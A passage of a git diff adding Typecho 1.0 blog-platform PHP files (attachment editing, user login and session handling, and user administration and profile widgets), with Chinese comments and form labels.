$file = array_pop($_FILES); + if (0 == $file['error'] && is_uploaded_file($file['tmp_name'])) { + $this->db->fetchRow($this->select()->where('table.contents.cid = ?', $this->request->filter('int')->cid) + ->where('table.contents.type = ?', 'attachment'), array($this, 'push')); + + if (!$this->have()) { + $this->response->setStatus(404); + exit; + } + + if (!$this->allow('edit')) { + $this->response->setStatus(403); + exit; + } + + // xhr的send无法支持utf8 + if ($this->request->isAjax()) { + $file['name'] = urldecode($file['name']); + } + + $result = self::modifyHandle($this->row, $file); + + if (false !== $result) { + $this->pluginHandle()->beforeModify($result); + + $this->update(array( + 'text' => serialize($result) + ), $this->db->sql()->where('cid = ?', $this->cid)); + + $this->db->fetchRow($this->select()->where('table.contents.cid = ?', $this->cid) + ->where('table.contents.type = ?', 'attachment'), array($this, 'push')); + + /** 增加插件接口 */ + $this->pluginHandle()->modify($this); + + $this->response->throwJson(array($this->attachment->url, array( + 'cid' => $this->cid, + 'title' => $this->attachment->name, + 'type' => $this->attachment->type, + 'size' => $this->attachment->size, + 'bytes' => number_format(ceil($this->attachment->size / 1024)) . ' Kb', + 'isImage' => $this->attachment->isImage, + 'url' => $this->attachment->url, + 'permalink' => $this->permalink + ))); + } + } + } + + $this->response->throwJson(false); + } + + /** + * 初始化函数 + * + * @access public + * @return void + */ + public function action() + { + if ($this->user->pass('contributor', true) && $this->request->isPost()) { + $this->security->protect(); + if ($this->request->is('do=modify&cid')) { + $this->modify(); + } else { + $this->upload(); + } + } else { + $this->response->setStatus(403); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/User.php b/Typecho/1.0/php-fpm/src/var/Widget/User.php new file mode 100755 index 000000000..941c5eeb0 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/User.php @@ -0,0 +1,275 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; + +/** + * 当前登录用户 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_User extends Typecho_Widget +{ + /** + * 用户 + * + * @access private + * @var array + */ + private $_user; + + /** + * 是否已经登录 + * + * @access private + * @var boolean + */ + private $_hasLogin = NULL; + + /** + * 全局选项 + * + * @access protected + * @var Widget_Options + */ + protected $options; + + /** + * 数据库对象 + * + * @access protected + * @var Typecho_Db + */ + protected $db; + + /** + * 用户组 + * + * @access public + * @var array + */ + public $groups = array( + 'administrator' => 0, + 'editor' => 1, + 'contributor' => 2, + 'subscriber' => 3, + 'visitor' => 4 + ); + + /** + * 构造函数,初始化组件 + * + * @access public + * @param mixed $request request对象 + * @param mixed $response response对象 + * @param mixed $params 参数列表 + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + + /** 初始化数据库 */ + $this->db = Typecho_Db::get(); + $this->options = $this->widget('Widget_Options'); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + if ($this->hasLogin()) { + $rows = $this->db->fetchAll($this->db->select() + ->from('table.options')->where('user = ?', $this->_user['uid'])); + + $this->push($this->_user); + + foreach ($rows as $row) { + $this->options->__set($row['name'], $row['value']); + } + + //更新最后活动时间 + $this->db->query($this->db + ->update('table.users') + ->rows(array('activated' => $this->options->gmtTime)) + ->where('uid = ?', $this->_user['uid'])); + } + } + + /** + * 以用户名和密码登录 + * + * @access public + * @param string $name 用户名 + * @param string $password 密码 + * @param boolean $temporarily 是否为临时登录 + * @param integer $expire 过期时间 + * @return boolean + */ + public function login($name, $password, $temporarily = false, $expire = 0) + { + //插件接口 + $result = $this->pluginHandle()->trigger($loginPluggable)->login($name, $password, $temporarily, $expire); + if ($loginPluggable) { + return $result; + } + + /** 开始验证用户 **/ + $user = $this->db->fetchRow($this->db->select() + ->from('table.users') + ->where((strpos($name, '@') ? 'mail' : 'name') . ' = ?', $name) + ->limit(1)); + + if (empty($user)) { + return false; + } + + $hashValidate = $this->pluginHandle()->trigger($hashPluggable)->hashValidate($password, $user['password']); + if (!$hashPluggable) { + if ('$P$' == substr($user['password'], 0, 3)) { + $hasher = new PasswordHash(8, true); + $hashValidate = $hasher->CheckPassword($password, $user['password']); + } else { + $hashValidate = Typecho_Common::hashValidate($password, $user['password']); + } + } + + if ($user && $hashValidate) { + + if (!$temporarily) { + $authCode = function_exists('openssl_random_pseudo_bytes') ? + bin2hex(openssl_random_pseudo_bytes(16)) : sha1(Typecho_Common::randString(20)); + $user['authCode'] = $authCode; + + Typecho_Cookie::set('__typecho_uid', $user['uid'], $expire); + Typecho_Cookie::set('__typecho_authCode', Typecho_Common::hash($authCode), $expire); + + //更新最后登录时间以及验证码 + $this->db->query($this->db + ->update('table.users') + ->expression('logged', 'activated') + ->rows(array('authCode' => $authCode)) + ->where('uid = ?', $user['uid'])); + } + + /** 压入数据 */ + $this->push($user); + $this->_hasLogin = true; + $this->pluginHandle()->loginSucceed($this, $name, $password, $temporarily, $expire); + + return true; + } + + $this->pluginHandle()->loginFail($this, $name, $password, $temporarily, $expire); + return false; + } + + /** + * 只需要提供uid即可登录的方法, 多用于插件等特殊场合 + * + * @access public + * @param integer $uid 用户id + * @return boolean + */ + public function simpleLogin($uid) + { + $user = $this->db->fetchRow($this->db->select() + ->from('table.users') + ->where('uid = ?', $uid) + ->limit(1)); + + if (empty($user)) { + return false; + } + + $this->push($user); + $this->_hasLogin = true; + + return true; + } + + /** + * 用户登出函数 + * + * @access public + * @return void + */ + public function logout() + { + $this->pluginHandle()->trigger($logoutPluggable)->logout(); + if ($logoutPluggable) { + return; + } + + Typecho_Cookie::delete('__typecho_uid'); + Typecho_Cookie::delete('__typecho_authCode'); + } + + /** + * 判断用户是否已经登录 + * + * @access public + * @return boolean + */ + public function hasLogin() + { + if (NULL !== $this->_hasLogin) { + return $this->_hasLogin; + } else { + $cookieUid = Typecho_Cookie::get('__typecho_uid'); + if (NULL !== $cookieUid) { + /** 验证登陆 */ + $user = $this->db->fetchRow($this->db->select()->from('table.users') + ->where('uid = ?', intval($cookieUid)) + ->limit(1)); + + $cookieAuthCode = Typecho_Cookie::get('__typecho_authCode'); + if ($user && Typecho_Common::hashValidate($user['authCode'], $cookieAuthCode)) { + $this->_user = $user; + return ($this->_hasLogin = true); + } + + $this->logout(); + } + + return ($this->_hasLogin = false); + } + } + + /** + * 判断用户权限 + * + * @access public + * @param string $group 用户组 + * @param boolean $return 是否为返回模式 + * @return boolean + * @throws Typecho_Widget_Exception + */ + public function pass($group, $return = false) + { + if ($this->hasLogin()) { + if (array_key_exists($group, $this->groups) && $this->groups[$this->group] <= $this->groups[$group]) { + return true; + } + } else { + if ($return) { + return false; + } else { + //防止循环重定向 + $this->response->redirect($this->options->loginUrl . + (0 === strpos($this->request->getReferer(), $this->options->loginUrl) ? '' : + '?referer=' . urlencode($this->request->makeUriByRequest())), false); + } + } + + if ($return) { + return false; + } else { + throw new Typecho_Widget_Exception(_t('禁止访问'), 403); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Users/Admin.php b/Typecho/1.0/php-fpm/src/var/Widget/Users/Admin.php new file mode 100755 index 000000000..6f6a432cc --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Users/Admin.php @@ -0,0 +1,115 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 后台成员列表组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Users_Admin extends Widget_Abstract_Users +{ + /** + * 分页计算对象 + * + * @access private + * @var Typecho_Db_Query + */ + private $_countSql; + + /** + * 所有文章个数 + * + * @access private + * @var integer + */ + private $_total = false; + + /** + * 当前页 + * + * @access private + * @var integer + */ + private $_currentPage; + + /** + * 仅仅输出域名和路径 + * + * @access protected + * @return string + */ + protected function ___domainPath() + { + $parts = parse_url($this->url); + return $parts['host'] . (isset($parts['path']) ? $parts['path'] : NULL); + } + + /** + * 发布文章数 + * + * @access protected + * @return integer + */ + protected function ___postsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.authorId = ?', $this->uid))->num; + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $this->parameter->setDefault('pageSize=20'); + $select = $this->select(); + $this->_currentPage = $this->request->get('page', 1); + + /** 过滤标题 */ + if (NULL != ($keywords = $this->request->keywords)) { + $select->where('name LIKE ? OR screenName LIKE ?', + '%' . Typecho_Common::filterSearchQuery($keywords) . '%', + '%' . Typecho_Common::filterSearchQuery($keywords) . '%'); + } + + $this->_countSql = clone $select; + + $select->order('table.users.uid', Typecho_Db::SORT_ASC) + ->page($this->_currentPage, $this->parameter->pageSize); + + $this->db->fetchAll($select, array($this, 'push')); + } + + /** + * 输出分页 + * + * @access public + * @return void + */ + public function pageNav() + { + $query = $this->request->makeUriByRequest('page={page}');; + + /** 使用盒状分页 */ + $nav = new Typecho_Widget_Helper_PageNavigator_Box(false === $this->_total ? $this->_total = $this->size($this->_countSql) : $this->_total, + $this->_currentPage, $this->parameter->pageSize, $query); + $nav->render('«', '»'); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Users/Author.php b/Typecho/1.0/php-fpm/src/var/Widget/Users/Author.php new file mode 100755 index 000000000..e8e8fb440 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Users/Author.php @@ -0,0 +1,37 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 相关内容 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 相关内容组件(根据标签关联) + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Users_Author extends Widget_Abstract_Users +{ + /** + * 执行函数,初始化数据 + * + * @access public + * @return void + */ + public function execute() + { + if ($this->parameter->uid) { + $this->db->fetchRow($this->select() + ->where('uid = ?', $this->parameter->uid), array($this, 'push')); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Users/Edit.php b/Typecho/1.0/php-fpm/src/var/Widget/Users/Edit.php new file mode 100755 index 000000000..6f4d3718f --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Users/Edit.php @@ -0,0 +1,311 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 编辑用户 + * + * @link typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 编辑用户组件 + * + * @link typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Users_Edit extends Widget_Abstract_Users implements Widget_Interface_Do +{ + /** + * 获取页面偏移的URL Query + * + * @access protected + * @param integer $uid 用户id + * @return string + */ + protected function getPageOffsetQuery($uid) + { + return 'page=' . $this->getPageOffset('uid', $uid); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 管理员以上权限 */ + $this->user->pass('administrator'); + + /** 更新模式 */ + if (($this->request->uid && 'delete' != $this->request->do) || 'update' == $this->request->do) { + $this->db->fetchRow($this->select() + ->where('uid = ?', $this->request->uid)->limit(1), array($this, 'push')); + + if (!$this->have()) { + throw new Typecho_Widget_Exception(_t('用户不存在'), 404); + } + } + } + + /** + * 获取菜单标题 + * + * @access public + * @return string + */ + public function getMenuTitle() + { + return _t('编辑用户 %s', $this->name); + } + + /** + * 判断用户是否存在 + * + * @access public + * @param integer $uid 用户主键 + * @return boolean + */ + public function userExists($uid) + { + $user = $this->db->fetchRow($this->db->select() + ->from('table.users') + ->where('uid = ?', $uid)->limit(1)); + + return !empty($user); + } + + /** + * 生成表单 + * + * @access public + * @param string $action 表单动作 + * @return Typecho_Widget_Helper_Form + */ + public function form($action = NULL) + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/users-edit'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 用户名称 */ + $name = new Typecho_Widget_Helper_Form_Element_Text('name', NULL, NULL, _t('用户名 *'), _t('此用户名将作为用户登录时所用的名称.') + . '<br />' . _t('请不要与系统中现有的用户名重复.')); + $form->addInput($name); + + /** 电子邮箱地址 */ + $mail = new Typecho_Widget_Helper_Form_Element_Text('mail', NULL, NULL, _t('电子邮箱地址 *'), _t('电子邮箱地址将作为此用户的主要联系方式.') + . '<br />' . _t('请不要与系统中现有的电子邮箱地址重复.')); + $form->addInput($mail); + + /** 用户昵称 */ + $screenName = new Typecho_Widget_Helper_Form_Element_Text('screenName', NULL, NULL, _t('用户昵称'), _t('用户昵称可以与用户名不同, 用于前台显示.') + . '<br />' . _t('如果你将此项留空, 将默认使用用户名.')); + $form->addInput($screenName); + + /** 用户密码 */ + $password = new Typecho_Widget_Helper_Form_Element_Password('password', NULL, NULL, _t('用户密码'), _t('为此用户分配一个密码.') + . '<br />' . _t('建议使用特殊字符与字母、数字的混编样式,以增加系统安全性.')); + $password->input->setAttribute('class', 'w-60'); + $form->addInput($password); + + /** 用户密码确认 */ + $confirm = new Typecho_Widget_Helper_Form_Element_Password('confirm', NULL, NULL, _t('用户密码确认'), _t('请确认你的密码, 与上面输入的密码保持一致.')); + $confirm->input->setAttribute('class', 'w-60'); + $form->addInput($confirm); + + /** 个人主页地址 */ + $url = new Typecho_Widget_Helper_Form_Element_Text('url', NULL, NULL, _t('个人主页地址'), _t('此用户的个人主页地址, 请用 <code>http://</code> 开头.')); + $form->addInput($url); + + /** 用户组 */ + $group = new Typecho_Widget_Helper_Form_Element_Select('group', array('subscriber' => _t('关注者'), + 'contributor' => _t('贡献者'), 'editor' => _t('编辑'), 'administrator' => _t('管理员')), + NULL, _t('用户组'), _t('不同的用户组拥有不同的权限.') + . '<br />' . _t('具体的权限分配表请<a href="http://docs.typecho.org/develop/acl">参考这里</a>.')); + $form->addInput($group); + + /** 用户动作 */ + $do = new Typecho_Widget_Helper_Form_Element_Hidden('do'); + $form->addInput($do); + + /** 用户主键 */ + $uid = new Typecho_Widget_Helper_Form_Element_Hidden('uid'); + $form->addInput($uid); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit(); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + + if (NULL != $this->request->uid) { + $submit->value(_t('编辑用户')); + $name->value($this->name); + $screenName->value($this->screenName); + $url->value($this->url); + $mail->value($this->mail); + $group->value($this->group); + $do->value('update'); + $uid->value($this->uid); + $_action = 'update'; + } else { + $submit->value(_t('增加用户')); + $do->value('insert'); + $_action = 'insert'; + } + + if (empty($action)) { + $action = $_action; + } + + /** 给表单增加规则 */ + if ('insert' == $action || 'update' == $action) { + $screenName->addRule(array($this, 'screenNameExists'), _t('昵称已经存在')); + $screenName->addRule('xssCheck', _t('请不要在昵称中使用特殊字符')); + $url->addRule('url', _t('个人主页地址格式错误')); + $mail->addRule('required', _t('必须填写电子邮箱')); + $mail->addRule(array($this, 'mailExists'), _t('电子邮箱地址已经存在')); + $mail->addRule('email', _t('电子邮箱格式错误')); + $password->addRule('minLength', _t('为了保证账户安全, 请输入至少六位的密码'), 6); + $confirm->addRule('confirm', _t('两次输入的密码不一致'), 'password'); + } + + if ('insert' == $action) { + $name->addRule('required', _t('必须填写用户名称')); + $name->addRule('xssCheck', _t('请不要在用户名中使用特殊字符')); + $name->addRule(array($this, 'nameExists'), _t('用户名已经存在')); + $password->label(_t('用户密码 *')); + $confirm->label(_t('用户密码确认 *')); + $password->addRule('required', _t('必须填写密码')); + } + + if ('update' == $action) { + $name->input->setAttribute('disabled', 'disabled'); + $uid->addRule('required', _t('用户主键不存在')); + $uid->addRule(array($this, 'userExists'), _t('用户不存在')); + } + + return $form; + } + + /** + * 增加用户 + * + * @access public + * @return void + */ + public function insertUser() + { + if ($this->form('insert')->validate()) { + $this->response->goBack(); + } + + $hasher = new PasswordHash(8, true); + + /** 取出数据 */ + $user = $this->request->from('name', 'mail', 'screenName', 'password', 'url', 'group'); + $user['screenName'] = empty($user['screenName']) ? $user['name'] : $user['screenName']; + $user['password'] = $hasher->HashPassword($user['password']); + $user['created'] = $this->options->gmtTime; + + /** 插入数据 */ + $user['uid'] = $this->insert($user); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight('user-' . $user['uid']); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('用户 %s 已经被增加', $user['screenName']), 'success'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-users.php', $this->options->adminUrl)); + } + + /** + * 更新用户 + * + * @access public + * @return void + */ + public function updateUser() + { + if ($this->form('update')->validate()) { + $this->response->goBack(); + } + + /** 取出数据 */ + $user = $this->request->from('mail', 'screenName', 'password', 'url', 'group'); + $user['screenName'] = empty($user['screenName']) ? $user['name'] : $user['screenName']; + if (empty($user['password'])) { + unset($user['password']); + } else { + $hasher = new PasswordHash(8, true); + $user['password'] = $hasher->HashPassword($user['password']); + } + + /** 更新数据 */ + $this->update($user, $this->db->sql()->where('uid = ?', $this->request->uid)); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight('user-' . $this->request->uid); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('用户 %s 已经被更新', $user['screenName']), 'success'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-users.php?' . + $this->getPageOffsetQuery($this->request->uid), $this->options->adminUrl)); + } + + /** + * 删除用户 + * + * @access public + * @return void + */ + public function deleteUser() + { + $users = $this->request->filter('int')->getArray('uid'); + $masterUserId = $this->db->fetchObject($this->db->select(array('MIN(uid)' => 'num'))->from('table.users'))->num; + $deleteCount = 0; + + foreach ($users as $user) { + if ($masterUserId == $user || $user == $this->user->id) { + continue; + } + + if ($this->delete($this->db->sql()->where('uid = ?', $user))) { + $deleteCount ++; + } + } + + /** 提示信息 */ + $this->widget('Widget_Notice')->set($deleteCount > 0 ? _t('用户已经删除') : _t('没有用户被删除'), + $deleteCount > 0 ? 'success' : 'notice'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('manage-users.php', $this->options->adminUrl)); + } + + /** + * 入口函数 + * + * @access public + * @return void + */ + public function action() + { + $this->user->pass('administrator'); + $this->security->protect(); + $this->on($this->request->is('do=insert'))->insertUser(); + $this->on($this->request->is('do=update'))->updateUser(); + $this->on($this->request->is('do=delete'))->deleteUser(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Users/Profile.php b/Typecho/1.0/php-fpm/src/var/Widget/Users/Profile.php new file mode 100755 index 000000000..f27e66d4e --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Users/Profile.php @@ -0,0 +1,424 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 编辑用户 + * + * @link typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 编辑用户组件 + * + * @link typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Users_Profile extends Widget_Users_Edit implements Widget_Interface_Do +{ + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 注册用户以上权限 */ + $this->user->pass('subscriber'); + $this->request->setParam('uid', $this->user->uid); + } + + /** + * 生成表单 + * + * @access public + * @return Typecho_Widget_Helper_Form + */ + public function profileForm() + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/users-profile'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 用户昵称 */ + $screenName = new Typecho_Widget_Helper_Form_Element_Text('screenName', NULL, NULL, _t('昵称'), _t('用户昵称可以与用户名不同, 用于前台显示.') + . '<br />' . _t('如果你将此项留空, 将默认使用用户名.')); + $form->addInput($screenName); + + /** 个人主页地址 */ + $url = new Typecho_Widget_Helper_Form_Element_Text('url', NULL, NULL, _t('个人主页地址'), _t('此用户的个人主页地址, 请用 <code>http://</code> 开头.')); + $form->addInput($url); + + /** 电子邮箱地址 */ + $mail = new Typecho_Widget_Helper_Form_Element_Text('mail', NULL, NULL, _t('电子邮箱地址 *'), _t('电子邮箱地址将作为此用户的主要联系方式.') + . '<br />' . _t('请不要与系统中现有的电子邮箱地址重复.')); + $form->addInput($mail); + + /** 用户动作 */ + $do = new Typecho_Widget_Helper_Form_Element_Hidden('do', NULL, 'profile'); + $form->addInput($do); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit('submit', NULL, _t('更新我的档案')); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + + $screenName->value($this->user->screenName); + $url->value($this->user->url); + $mail->value($this->user->mail); + + /** 给表单增加规则 */ + $screenName->addRule(array($this, 'screenNameExists'), _t('昵称已经存在')); + $screenName->addRule('xssCheck', _t('请不要在昵称中使用特殊字符')); + $url->addRule('url', _t('个人主页地址格式错误')); + $mail->addRule('required', _t('必须填写电子邮箱')); + $mail->addRule(array($this, 'mailExists'), _t('电子邮箱地址已经存在')); + $mail->addRule('email', _t('电子邮箱格式错误')); + + return $form; + } + + /** + * 输出表单结构 + * + * @access public + * @return Typecho_Widget_Helper_Form + */ + public function optionsForm() + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/users-profile'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 撰写设置 */ + $markdown = new Typecho_Widget_Helper_Form_Element_Radio('markdown', + array('0' => _t('关闭'), '1' => _t('打开')), + $this->options->markdown, _t('使用 Markdown 语法编辑和解析内容'), + _t('使用 <a href="http://daringfireball.net/projects/markdown/">Markdown</a> 语法能够使您的撰写过程更加简便直观.') + . '<br />' . _t('此功能开启不会影响以前没有使用 Markdown 语法编辑的内容.')); + $form->addInput($markdown); + + /** 自动保存 */ + $autoSave = new Typecho_Widget_Helper_Form_Element_Radio('autoSave', + array('0' => _t('关闭'), '1' => _t('打开')), + $this->options->autoSave, _t('自动保存'), _t('自动保存功能可以更好地保护你的文章不会丢失.')); + $form->addInput($autoSave); + + /** 默认允许 */ + $allow = array(); + if ($this->options->defaultAllowComment) { + $allow[] = 'comment'; + } + + if ($this->options->defaultAllowPing) { + $allow[] = 'ping'; + } + + if ($this->options->defaultAllowFeed) { + $allow[] = 'feed'; + } + + $defaultAllow = new Typecho_Widget_Helper_Form_Element_Checkbox('defaultAllow', + array('comment' => _t('可以被评论'), 'ping' => _t('可以被引用'), 'feed' => _t('出现在聚合中')), + $allow, _t('默认允许'), _t('设置你经常使用的默认允许权限')); + $form->addInput($defaultAllow); + + /** 用户动作 */ + $do = new Typecho_Widget_Helper_Form_Element_Hidden('do', NULL, 'options'); + $form->addInput($do); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit('submit', NULL, _t('保存设置')); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + + return $form; + } + + /** + * 输出自定义设置选项 + * + * @access public + * @param string $pluginName 插件名称 + * @param string $className 类名称 + * @param string $pluginFileName 插件文件名 + * @param string $group 用户组 + * @return Typecho_Widget_Helper_Form + */ + public function personalForm($pluginName, $className, $pluginFileName, &$group) + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/users-profile'), + Typecho_Widget_Helper_Form::POST_METHOD); + $form->setAttribute('name', $pluginName); + $form->setAttribute('id', $pluginName); + + require_once $pluginFileName; + $group = call_user_func(array($className, 'personalConfig'), $form); + $group = $group ? $group : 'subscriber'; + + $options = $this->options->personalPlugin($pluginName); + + if (!empty($options)) { + foreach ($options as $key => $val) { + $form->getInput($key)->value($val); + } + } + + $form->addItem(new Typecho_Widget_Helper_Form_Element_Hidden('do', NULL, 'personal')); + $form->addItem(new Typecho_Widget_Helper_Form_Element_Hidden('plugin', NULL, $pluginName)); + $form->addItem(new Typecho_Widget_Helper_Form_Element_Submit(NULL, NULL, _t('保存设置'))); + return $form; + } + + /** + * 自定义设置列表 + * + * @access public + * @return void + */ + public function personalFormList() + { + $this->widget('Widget_Plugins_List@personalPlugins', 'activated=1')->to($plugins); + while ($plugins->next()) { + if ($plugins->personalConfig) { + echo '<h3>' . $plugins->title . '</h3>'; + list($pluginFileName, $className) = Typecho_Plugin::portal($plugins->name, + $this->options->pluginDir($plugins->name)); + + $form = $this->personalForm($plugins->name, $className, $pluginFileName, $group); + if ($this->user->pass($group, true)) { + $form->render(); + } + } + } + } + + /** + * 生成表单 + * + * @access public + * @return Typecho_Widget_Helper_Form + */ + public function passwordForm() + { + /** 构建表格 */ + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/users-profile'), + Typecho_Widget_Helper_Form::POST_METHOD); + + /** 用户密码 */ + $password = new Typecho_Widget_Helper_Form_Element_Password('password', NULL, NULL, _t('用户密码'), _t('为此用户分配一个密码.') + . '<br />' . _t('建议使用特殊字符与字母、数字的混编样式,以增加系统安全性.')); + $password->input->setAttribute('class', 'w-60'); + $form->addInput($password); + + /** 用户密码确认 */ + $confirm = new Typecho_Widget_Helper_Form_Element_Password('confirm', NULL, NULL, _t('用户密码确认'), _t('请确认你的密码, 与上面输入的密码保持一致.')); + $confirm->input->setAttribute('class', 'w-60'); + $form->addInput($confirm); + + /** 用户动作 */ + $do = new Typecho_Widget_Helper_Form_Element_Hidden('do', NULL, 'password'); + $form->addInput($do); + + /** 提交按钮 */ + $submit = new Typecho_Widget_Helper_Form_Element_Submit('submit', NULL, _t('更新密码')); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + + $password->addRule('required', _t('必须填写密码')); + $password->addRule('minLength', _t('为了保证账户安全, 请输入至少六位的密码'), 6); + $confirm->addRule('confirm', _t('两次输入的密码不一致'), 'password'); + + return $form; + } + + /** + * 更新用户 + * + * @access public + * @return void + */ + public function updateProfile() + { + if ($this->profileForm()->validate()) { + $this->response->goBack(); + } + + /** 取出数据 */ + $user = $this->request->from('mail', 'screenName', 'url'); + $user['screenName'] = empty($user['screenName']) ? $user['name'] : $user['screenName']; + + /** 更新数据 */ + $this->update($user, $this->db->sql()->where('uid = ?', $this->user->uid)); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight('user-' . $this->user->uid); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('您的档案已经更新'), 'success'); + + /** 转向原页 */ + $this->response->goBack(); + } + + /** + * 执行更新动作 + * + * @access public + * @return void + */ + public function updateOptions() + { + $settings['autoSave'] = $this->request->autoSave ? 1 : 0; + $settings['markdown'] = $this->request->markdown ? 1 : 0; + $defaultAllow = $this->request->getArray('defaultAllow'); + + $settings['defaultAllowComment'] = in_array('comment', $defaultAllow) ? 1 : 0; + $settings['defaultAllowPing'] = in_array('ping', $defaultAllow) ? 1 : 0; + $settings['defaultAllowFeed'] = in_array('feed', $defaultAllow) ? 1 : 0; + + foreach ($settings as $name => $value) { + if ($this->db->fetchObject($this->db->select(array('COUNT(*)' => 'num')) + ->from('table.options')->where('name = ? AND user = ?', $name, $this->user->uid))->num > 0) { + $this->widget('Widget_Abstract_Options') + ->update(array('value' => $value), $this->db->sql()->where('name = ? AND user = ?', $name, $this->user->uid)); + } else { + $this->widget('Widget_Abstract_Options')->insert(array( + 'name' => $name, + 'value' => $value, + 'user' => $this->user->uid + )); + } + } + + $this->widget('Widget_Notice')->set(_t("设置已经保存"), 'success'); + $this->response->goBack(); + } + + /** + * 更新密码 + * + * @access public + * @return void + */ + public function updatePassword() + { + /** 验证格式 */ + if ($this->passwordForm()->validate()) { + $this->response->goBack(); + } + + $hasher = new PasswordHash(8, true); + $password = $hasher->HashPassword($this->request->password); + + /** 更新数据 */ + $this->update(array('password' => $password), + $this->db->sql()->where('uid = ?', $this->user->uid)); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight('user-' . $this->user->uid); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t('密码已经成功修改'), 'success'); + + /** 转向原页 */ + $this->response->goBack(); + } + + /** + * 更新个人设置 + * + * @access public + * @return void + */ + public function updatePersonal() + { + /** 获取插件名称 */ + $pluginName = $this->request->plugin; + + /** 获取已启用插件 */ + $plugins = Typecho_Plugin::export(); + $activatedPlugins = $plugins['activated']; + + /** 获取插件入口 */ + list($pluginFileName, $className) = Typecho_Plugin::portal($this->request->plugin, + __TYPECHO_ROOT_DIR__ . '/' . __TYPECHO_PLUGIN_DIR__); + $info = Typecho_Plugin::parseInfo($pluginFileName); + + if (!$info['personalConfig'] || !isset($activatedPlugins[$pluginName])) { + throw new Typecho_Widget_Exception(_t('无法配置插件'), 500); + } + + $form = $this->personalForm($pluginName, $className, $pluginFileName, $group); + $this->user->pass($group); + + /** 验证表单 */ + if ($form->validate()) { + $this->response->goBack(); + } + + $settings = $form->getAllRequest(); + unset($settings['do'], $settings['plugin']); + $name = '_plugin:' . $pluginName; + + if (!$this->personalConfigHandle($className, $settings)) { + if ($this->db->fetchObject($this->db->select(array('COUNT(*)' => 'num')) + ->from('table.options')->where('name = ? AND user = ?', $name, $this->user->uid))->num > 0) { + $this->widget('Widget_Abstract_Options') + ->update(array('value' => serialize($settings)), $this->db->sql()->where('name = ? AND user = ?', $name, $this->user->uid)); + } else { + 